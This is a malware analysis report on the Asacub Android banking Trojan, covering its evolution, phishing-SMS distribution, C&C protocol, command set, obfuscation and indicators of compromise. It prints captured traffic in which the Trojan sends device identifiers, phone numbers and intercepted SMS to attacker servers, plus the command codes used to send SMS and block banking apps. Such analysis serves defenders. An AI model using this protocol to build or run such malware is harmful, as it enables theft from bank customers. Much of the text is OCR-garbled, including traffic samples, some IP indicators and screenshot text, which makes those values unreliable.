The rise of mobile banker Asacub
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We encountered the Trojan-Banker.AndroidOS.Asacub family for the first time in 2015, when the first versions of the malware were detected,
analyzed, and found to be more adept at spying than stealing funds. The Trojan has evolved since then, aided by a large-scale distribution
campaign by its creators (in spring-summer 2017), helping Asacub to claim top spots in last year’s ranking by number of attacks among
mobile banking Trojans, outperforming other families such as Svpeng and Faketoken.

We decided to take a peek under the hood of a modern member of the Asacub family. Our eyes fell on the latest version of the Trojan, which is
designed to steal money from owners of Android devices connected to the mobile banking service of one of Russia’s largest banks.

Asacub versions

Sewn into the body of the Trojan is the version number, consisting of two or three digits separated by periods. The numbering seems to have
started anew after the version 9.

The name Asacub appeared with version 4 in late 2015; previous versions were known as Trojan-SMS.AndroidOS.Smaps. Versions 5.X.X-
8.X.X were active in 2016, and versions 9.X.X-1.X.X in 2017. In 2018, the most actively distributed versions were 5.0.0 and 5.0.3.

Communication with C&C

Although Asacub’s capabilities gradually evolved, its network behavior and method of communication with the command-and-control (C&C)
server changed little. This strongly suggested that the banking Trojans, despite differing in terms of capability, belong to the same family.

Data was always sent to the C&C server via HTTP in the body of a POST request in encrypted form to the relative address
/something/index.php. In earlier versions, the something part of the relative path was a partially intelligible, yet random mix of words and short
combinations of letters and numbers separated by an underscore, for example, “bee_bomb” or “my_te2_mms”.
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POST /bee_bomb/index.php HTTP/1.1

Content-Length: 296

Content-Type: text/plain; charset=IS0-8859-1

Host: domriagracia.biz

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

w1zXGBHKTPGc4Dg5LS9DXTYWOIPxId/ 2ytdZQIHYPSQjh5rIDBpAzYoSWY27qaN+5SXu5+1Ih+z0
aEoV+HuxRYViod/toolwdDIZe 1,/ YXW505271VjDznHedf IXDthPadI3NPMEEDY1USM708d0Z 3md /f
TGBQZKtrjQnViYFUG7 JREZj7Qb0kwzbTZKasgklHbUrx0icN1ei/ 18I tUz0X+Q3rnFilekcDroTz
S1/yphDpDBYxYmIYpdEhaoB0BlyMWGVECS+I2hzCIr5imb] IdsqxXfOKxsLmESuC

Example of traffic from an early version of Asacub (2015)

The data transmitted and received is encrypted with the RC4 algorithm and encoded using the base64 standard. The C&C address and the
encryption key (one for different modifications in versions 4.x and 5.x, and distinct for different C&Cs in later versions) are stitched into the
body of the Trojan. In early versions of Asacub, .com, .biz, .info, .in, .pw were used as top-level domains. In the 2016 version, the value of the
User-Agent header changed, as did the method of generating the relative path in the URL: now the part before /index.php is a mix of a
pronounceable (if not entirely meaningful) word and random letters and numbers, for example, “muromec280j9tqgeyjy5sm1qy71” or
“parabbelumf8jgybddéw0qa0”. Moreover, incoming traffic from the C&C server began to use gzip compression, and the top-level domain for all
C&Cs was .com:

POST /muromec288j9tqeyjy5ssmlqy71/index.php HTTP/1.1

User-Agent: Dalvik/1.6.8@ (Linux; U; Android 4.1.2; GT-I938@ Build/]7854)
Host: embarrassmentar.com

Connection: Keep-Alive

Accept-Encoding: gzip

Content-Type: application/x-www-form-urlencoded

Content-Length: 325

OWzTB3s1ZTdBcR/ByStIplov3 IXDNGYgEZcz49V21AxHup3fTyMICRS,/2aFb3BwADNDIdBDE3ECK
tUab620EICR2j8cSi41SE27MI JLEYDSRY ZWMCe/ZKitHSazHFLrjlk18b2MI Ix40SFralkukgswh
Pj7AHT+m718271dSqQlpNtnPgetoXH/Dy1vaeQ+GiAciwlg3bzcd+SI%apaimyri/yIZ jN+gKkIa
@GvLv+Ca6B1NaMcpmVbpEnhHh FwaogmlHoUO40NNI 7D7 7CWS s FmanZWKg3tDOLfGamLAYBwRdhgR
aE4d2ephTVLexzU=

Since December 2016, the changes in C&C communication methods have affected only how the relative path in the URL is generated: the
pronounceable word was replaced by a rather long random combination of letters and numbers, for example, “ozvi4dmalen7dwdh” or
“f29u80i77024clufhw1ubws62”. At the time of writing this article, no other significant changes in Asacub’s network behavior had been
observed:

POST /f29uB0i77824clufhwluSws62/index.php HTTP/1.1

User-Agent: Dalvik/1.6.8 (Linux; U; Android 4.1.2; GT-I93@8 Build/JZ@54)
Host: namessheds.com

Connection: Keep-Alive

Accept-Encoding: gzip

Content-Type: application/x-www-form-urlencoded

Content-Length: 321

2]spnIzQ/C/tPAGSIbo96osev7nIKBALZvMIzvDSESYWTvpe BWmRPHnBEVCREYHIYLJALYZY jg
xHSwLDFhq7PQEF 255 3G02bs0yC@9hZxhQTyT zmidHwAkkM2 19y SYuMt J4eHyOVLO/ hRUuQUZEBHPY
A0QEF8FTpocg@a+V51INhQSWIHGY4uynDGXiINS15ec1IT4PThgDUiSWSNCIUBZzviIIRY IRbFDWWI
/ziNnxzxyWhNueRj10e7PZ55+8KvgK/ 7 3bxmuGMc KwdU4HaC TcBXTKS09] /t6G391ibgatudkfLU
3xckScasb3+k

The origin of Asacub

It is fairly safe to say that the Asacub family evolved from Trojan-SMS.AndroidOS.Smaps. Communication between both Trojans and their
C&C servers is based on the same principle, the relative addresses to which Trojans send network requests are generated in a similar
manner, and the set of possible commands that the two Trojans can perform also overlaps. What's more, the numbering of Asacub versions is
a continuation of the Smaps system. The main difference is that Smaps transmits data as plain text, while Asacub encrypts data with the RC4
algorithm and then encodes it into base64 format.

Let’'s compare examples of traffic from Smaps and Asacub — an initializing request to the C&C server with information about the infected
device and a response from the server with a command for execution:
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POST /t_mms7_1/index.php HTTP/1.1

Content-Length: 231

Content-Type: text/plain; charset=IS0-8859-1

Host: backarchives.com

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

{"type":"get”,"id": "baelebdc-8181-473f-a92e-4aca55c6ee78","info" " imei:
168526759827452, country: ZA, cell: Thinta, android: 4.4.2, model: HTC One mini,
phonenumber: +277284733916, sim: 9269224282831778244F, app: null, ver: 3.@.8"}
HTTP/1.1 288 0K

Server: nginx

Date: Thu, 21 Jan 2016 15:44:54 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Keep-Alive: timeout=16

Vary: Accept-Encoding

9b

[{"command” : "sentl&&", "params™ :

{"to":"+792620002900", "body" : " \u8418\ud412 \ue422 ue4le\ua4lf\ue4lb
\uB41e\ue4224u8415\ua416 1608 58", "timestamp™:1453391094}11]

a

Smaps request

POST /botan_mms1_new/index.php HTTP/1.1
Content-Length: 296

Content-Type: text/plain; charset=IS0-8859-1

Host: daimoidomainemne.info

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

w1 zXGBHKFPSbtmlnISeTXcaY3ZHxIYnwmtdZRSbdPSpagcCSXx9AzI0QCI27qaN+SXu5+I1Th+z0
aEoV+HUXRYViodtoolwwCINcil /ZXGh LS jHIUZT znH4d f IXDthP@CPGCecRzWOwP X,/ L941Ya1iiw
RnkNYgY1gxPI1plKF/XT4pnyF863ulWjbKaxnEUXdU 3wMSwiiz8e4gAoBTDKY+g/ mml2S1EAASVKS
AkGh/RnsDRZyZmdepN4iZY@0CVgAUTXYNZLZy1bcbbx72f45MB7uGUTPxsDqoQ==

HTTP/1.1 2@@ 0K

Server: nginx

Date: Fri, @8 Jan 2816 17:82:51 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

X-Powered-By: PHP/5.6.16

14c

nMWcHIydMEDGACk7NmsXHE s JwaP+0Zz 1zogBGTI0eKmZkxJaIBASSYYPECS 2nu+c
+C5657pIMjFyVZ1Ieymjulla528EMI/

bexYsNZ11XcNy1KSzmoOXTviCwUVZEHBFusBMiebZYmaRUF tSiVzs5EXnY rfnssP/
M51wzLil9GAqieqt7qROSGSG/ 3M0aji1RTKECSY3BW1Reg xxskimnBoVk+xguF31BD
+7yrT0q96Qbaskc3MTkZvt1 pccpUE1CaQ2TNIBKbi 1yCIeAn]/ IGNNOwWY U FyrC JKE ixpXDEQRwHAbA2AH+/
7oC4hBnrEed9ceZBY+asl0g=

a

Asacub request
Decrypted data from Asacub traffic:

{"id":"5632bf15a-b784-47e5-92fa-72198a2929f5","type”:"get”,"info”:"imei:365548770159066, country:PL, cell:Tele2, android:4.2.2, model:GT-
N5100, phonenumber:+486679225120, sim:6337076348906359089f, app:null, ver:5.0.2"}

Data sent to the server

[{“‘command”:"sent&&&”,"params”:{*to”:"+79262000900","body”:"\u04 10\u04 12\u0422\u04 1e\u04 1f\u04 1b\u0410\u0422\u04 15\u0416 1000
50","timestamp”:"1452272572"}},
{*command”:"sent&&&”,"params”:{*t0”:"+79262000900","body”:"BALANCE”,"timestamp”:"1452272573"}}]

Instructions received from the server

A comparison can also be made of the format in which Asacub and Smaps forward incoming SMS (encoded with the base64 algorithm) from
the device to the C&C server:
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POST /t_mms7_1/index.php HTTP/1.1

Content-Length: 187

Content-Type: text/plain; charset=UTF-8

Host: backarchives.com

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

{"data":"2016:01:12 26:24:22","id":"baelebdc-8101-473f-
af2e-4aca55c6ee78", "text™ : "W3Npbmdpbmdd ICADYXVzZSE5b3UgbWFrZSELZSE@b25ndwWlgd
Gl1ZCwgdGIUZ3VIIHQ=", "number": " 674445286, "type": " load" }

Smaps format

POST /botan_mms1_new/index.php HTTP/1.1
Content-Length: 248

Content-Type: text/plain; charset=IS0-8859-1

Host: daimoidomainemne.info

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

vIzaHpeRfPuKtjswIsIDQIUedfrsI45hnsBRONKQMNQiks0ICxSLNNVHCMEE6EA/DTOVIdVbzEHe
IglRoS/vXocnngs/B0A2ZHIpLywKWH3pAXVUe I ZG++yRDUINTFICOGPNHNHSNEUSN39KP/ 3Ts9uhvix
QIMvYAtcoXexip8BVFWFtrXZRbiB+n/ vOMXD2ACKTEXB0RdegAn/nEVEGM/ c7gLo9mVielVACvKam
Gems8QizVuchcik=

Asacub format

Decrypted data from Asacub traffic:

{"data”:"2015:10:14_02:41:15","id":"5632bf15a-b784-47e5-92fa-

72198a2929f5","text”:"SSB0aG9122h0IHdIIGdvdCBwYXNOIHRoaXMhISBJJ20gbm90IGh1bmdyeSBhbmQgbmU=","number”:"1790","type”:"load"}

Propagation

The banking Trojan is propagated via phishing SMS containing a link and an offer to view a photo or MMS. The link points to a web page with
a similar sentence and a button for downloading the APK file of the Trojan to the device.
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The Trojan download window

Asacub masquerades under the guise of an MMS app or a client of a popular free ads service. We came across the names Photo, Message,
Avito Offer, and MMS Message.

SEB%

App icons under which Asacub masks itself

The APK files of the Trojan are downloaded from sites such as mmsprivate[.]site, photolike[.]fun, you-foto[.]site, and mms4you[.Jme under
names in the format:

e photo_[number]_img.apk,

o mms_[number]_img.apk

e avito_[number].apk,

o mms.img_[number]_photo.apk,
o mms[number]_photo.image.apk,
o mms[number]|_photo.img.apk,

o mms.img.photo_[number].apk,

e photo_[number|_obmen.img.apk.

For the Trojan to install, the user must allow installation of apps from unknown sources in the device settings.

Infection

During installation, depending on the version of the Trojan, Asacub prompts the user either for Device Administrator rights or for permission to
use AccessibilityService. After receiving the rights, it sets itself as the default SMS app and disappears from the device screen. If the user
ignores or rejects the request, the window reopens every few seconds.
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Activate device administrator?

. MoaTBepxpeHue

YBa)kaeMblii Nofib3oBaTeb, AN IPOCMOTpa

CO06LLEeHNSA, Bbl AOKHbI aKTUBUPOBaTb CBOE

cornacue co cnegytouen ohepTon:

CepBUC — COBOKYMHOCTb NpOorpamMm Ans

9BM U UHbIX 06BbEKTOB MHTENNEKTYaNIbHOM

co6CcTBEHHOCTU KoMMaHuu (B TOM yucne,

rpaduueckoe ohopMneHue uHTepdeiica (an3sanH)
@ n ap.), tipopmauum (KoHTeHTa), pasMeLaeMoit

Komnanuen n/wnu Monbsosatensamu. Joctyn

Kk CepBM1CY BO3MOXEH C UCMOJIb30BaHNEM Change SMS app?

Mob6unbHoro Cepsuca n web-Bepcun, . .

KOTOpble NpefoCTaBNAOT PasinyHbIN Use Avito-Tpeanoxexue instead of
06beM PYHKLMOHAbHbIX BO3SMOXHOCTEN Messenger as your SMS app?

Mo Ucrnonb3osaHuio CepBuca, Yepes
Nnosfib3oBaTesibCKue yCTpOI;[CTBa, NOAKMHOYEHHbIe K

Activating this administrator will allow the
app Avito-lpeanoxxeHue to perform the
following operations:

Activate this device administrator
Cancel

Uninstall app

The Trojan requests Device Administrator rights
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The Trojan requests permission to use AccessibilityService

After installation, the Trojan starts communicating with the cybercriminals’ C&C server. All data is transmitted in JSON format (after
decryption). It includes information about the smartphone model, the OS version, the mobile operator, and the Trojan version.

Let’s take an in-depth look at Asacub 5.0.3, the most widespread version in 2018.

Structure of data sent to the server:

"type™int,
"data"{
data

2

"id":hex

N o o b~ w N

Structure of data received from the server:
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2 "command":int,

3 "params":{

4 params,

5 "timestamp":int,
6 "x":int

74

8 "waitrun":int

9 }

To begin with, the Trojan sends information about the device to the server:

A

2 "type":1,

3 "data":{

4 "model":string,

5 "ver":"5.0.3",

6 "android":string,

7 "cell":string,

8 "x":int,
"country":int, //optional

10 "imei":int //optional

LU

12 "id":hex

13 }

In response, the server sends the code of the command for execution (“‘command”), its parameters (“params”), and the time delay before
execution (“waitrun” in milliseconds).

List of commands sewn into the body of the Trojan:

Command Parameters Actions

code

2 - Sending a list of contacts from the address book of the infected device to the C&C server

7 “to”:int Calling the specified number

11 “to™:int, Sending an SMS with the specified text to the specified number
“body”:string

19 “text”:string, Sending SMS with the specified text to numbers from the address book of the infected device, with the name of
“n”:string the addressee from the address book substituted into the message text

40 “text”:string  Shutting down applications with specific names (antivirus and banking applications)

The set of possible commands is the most significant difference between the various flavors of Asacub. In the 2015-early 2016 versions
examined in this article, C&C instructions in JSON format contained the name of the command in text form (“get_sms”, “block_phone”). In later
versions, instead of the name of the command, its numerical code was transmitted. The same numerical code corresponded to one command
in different versions, but the set of supported commands varied. For example, version 9.0.7 (2017) featured the following set of commands: 2,
4,8,11, 12,15, 16, 17, 18, 19, 20.

After receiving the command, the Trojan attempts to execute it, before informing C&C of the execution status and any data received. The “id”
value inside the “data” block is equal to the “timestamp” value of the relevant command:
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2 "type":3,

3 "data":{

4 "data":JSONArray,

5 "command":int,

6 "id":int,

7 "post":boolean,

8 "status":resultCode
b

10 "id":hex

1}

In addition, the Trojan sets itself as the default SMS application and, on receiving a new SMS, forwards the sender’s number and the message
text in base64 format to the cybercriminal:

11

2 "type":2,

3 "data"{

4 "n":string,
5 "t":string
6 1}

7 "id":hex

8 }

Thus, Asacub can withdraw funds from a bank card linked to the phone by sending SMS for the transfer of funds to another account using the
number of the card or mobile phone. Moreover, the Trojan intercepts SMS from the bank that contain one-time passwords and information
about the balance of the linked bank card. Some versions of the Trojan can autonomously retrieve confirmation codes from such SMS and
send them to the required number. What's more, the user cannot check the balance via mobile banking or change any settings there, because
after receiving the command with code 40, the Trojan prevents the banking app from running on the phone.

User messages created by the Trojan during installation typically contain grammatical and spelling errors, and use a mixture of Cyrillic and
Latin characters.

The Trojan also employs various obfuscation methods: from the simplest, such as string concatenation and renaming of classes and methods,
to implementing functions in native code and embedding SO libraries in C/C++ in the APK file, which requires the use of additional tools or
dynamic analysis for deobfuscation, since most tools for static analysis of Android apps support only Dalvik bytecode. In some versions of
Asacub, strings in the app are encrypted using the same algorithm as data sent to C&C, but with different keys.

public class Offset extends AccessibilityService {
public Offset() {
super();

}

public native void onInterrupt() {

}

protected native void onServiceConnected() {

}

Example of using native code for obfuscation
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static {

d.a = a;

d.b = "content://com.android.c" + String.wvalueOf(“ontacts/data/phones");
1
static {

a.q = "com” + String.valueOf("mand");

a.b = "wait" + String.valueOf("run”);
1

Examples of using string concatenation for obfuscation

static {
i.a =
i.b =
i.c =
i.d =
i.e =
i.f =
i.i =
i.j =
i.l =
i.m = a.d("zPvThab66NraWmFdHIg85B55") ;
i.n = a.d("3+yShLidNruWkl9Lerk");

Example of encrypting strings in the Trojan

Asacub distribution geography

Asacub is primarily aimed at Russian users: 98% of infections (225,000) occur in Russia, since the cybercriminals specifically target clients of
a major Russian bank. The Trojan also hit users from Ukraine, Turkey, Germany, Belarus, Poland, Armenia, Kazakhstan, the US, and other
countries.

Conclusion

The case of Asacub shows that mobile malware can function for several years with minimal changes to the distribution scheme.

It is basically SMS spam: many people still follow suspicious links, install software from third-party sources, and give permissions to apps
without a second thought. At the same time, cybercriminals are reluctant to change the method of communication with the C&C server, since
this would require more effort and reap less benefit than modifying the executable file. The most significant change in this particular Trojan’s
history was the encryption of data sent between the device and C&C. That said, so as to hinder detection of new versions, the Trojan’s APK
file and the C&C server domains are changed regularly, and the Trojan download links are often one-time-use.

I0Cs

C&C IP addresses:

e 155.133.82.181
¢ 155.133.82.240
e 155.133.82.244
e 185.234.218.59
¢ 195.22.126.160
e 195.22.126.163
e 195.22.126.80
¢ 195.22.126.81
e 54573.24

¢ 545.74.130

IP addresses from which the Trojan was downloaded:

e 185.174.173.31
¢ 185.234.218.59
¢ 188.166.156.110
e 195.22.126.160
e 195.22.126.80
¢ 195.22.126.81

e 195.22.126.82
e 195.22.126.83

SHA256:
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